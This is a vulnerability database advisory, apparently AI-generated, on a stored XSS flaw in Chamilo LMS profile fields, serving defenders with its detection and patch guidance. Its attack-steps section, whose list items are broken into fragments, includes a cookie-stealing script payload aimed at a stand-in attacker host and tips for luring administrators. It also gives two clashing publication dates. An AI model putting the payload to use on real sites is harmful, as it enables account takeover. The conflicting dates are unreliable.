
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-45144 is a stored cross-site scripting (XSS) vulnerability in Chamilo LMS, an open-source learning management system. It affects versions 2.0.0 up to (but not including) 2.0.1, where the public user profile endpoint GET /user/{username} renders six user-editable fields inside Twig's {% autoescape false %} block without server-side sanitization. The vulnerability was reported by Jan Kahmen of turingpoint, published on October 30, 2026, and fixed in version 2.0.1. It carries a CVSS v3.1 base score of 8.9 (High) (GitHub Advisory).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically the use of Twig's {% autoescape false %} directive in profile.html.twig (lines 4–13) when rendering the firstname, lastname, competences, openarea, teach, and diplomas profile fields, combined with the absence of any server-side sanitization on the write path. An attacker with ROLE_STUDENT privileges can inject arbitrary HTML/JavaScript into these fields via their profile settings; when any user — including administrators — visits the public profile URL, the payload executes in their browser. If self-registration is enabled, an unauthenticated attacker can register a student account and exploit this without any prior credentials. The fix (commit 0ba260a) introduces a $sanitize closure using \Security::remove_XSS($v, STUDENT) in UserController.php and replaces the autoescape false block with explicit |raw filters on pre-sanitized variables (GitHub Advisory, Fix Commit).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of all visitors to the compromised profile page, including platform administrators. This can lead to session token, JWT, or localStorage exfiltration, enabling full account takeover of any user who views the malicious profile. The scope change (CVSS S:C) reflects that the impact extends beyond the attacker's own account to all platform users, with high confidentiality and integrity impact and low availability impact (GitHub Advisory).
No public proof-of-concept exploit code has been identified, and there is no evidence of in-the-wild exploitation at this time (Feedly). The EPSS score is approximately 0.229%, indicating a low current probability of exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. NVD SSVC assessment classifies exploitation as "none" and the attack as non-automatable, as it requires user interaction (a victim visiting the attacker's profile link) (GitHub Advisory).
ROLE_STUDENT) via self-registration, or use existing student credentials.<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>) into one of the vulnerable fields: competences, openarea, teach, diplomas, firstname, or lastname./user/{username}) via forum posts, course announcements, staff onboarding emails, or other in-platform channels to maximize the chance an administrator or privileged user clicks it.{% autoescape false %} rendering, exfiltrating session cookies, JWTs, or localStorage tokens to the attacker's server./user/{username} endpoints; unusual fetch or XMLHttpRequest calls to attacker-controlled infrastructure visible in proxy or WAF logs.GET /user/{username} requests from diverse IPs, potentially indicating link-sharing of a malicious profile; application logs recording profile field updates containing <script>, <img onerror=, or other HTML tags in competences, openarea, teach, diplomas, firstname, or lastname fields.<script>, javascript:, onerror=, onload=) for any user account.The primary remediation is to upgrade Chamilo LMS to version 2.0.1, which sanitizes profile fields using \Security::remove_XSS() on the render path and removes the unsafe {% autoescape false %} Twig block (Chamilo Release, Fix Commit). If immediate patching is not possible, disable self-registration to prevent unauthenticated attackers from obtaining a student account, and restrict access to /user/{username} behind authentication (#[IsGranted('ROLE_USER')]). Additionally, deploying a Web Application Firewall (WAF) rule to detect and block HTML/JavaScript injection in profile fields provides a supplementary layer of defense (GitHub Advisory).
The vulnerability was reported by security researcher Jan Kahmen of turingpoint (GitHub handle: kah-ja) and disclosed via GitHub's security advisory process. The advisory was published by Chamilo maintainer ywarnier on June 23, 2026, and the fix was committed by AngelFQC. No significant broader media coverage or notable social media discussion has been identified beyond standard CVE aggregator coverage (GitHub Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."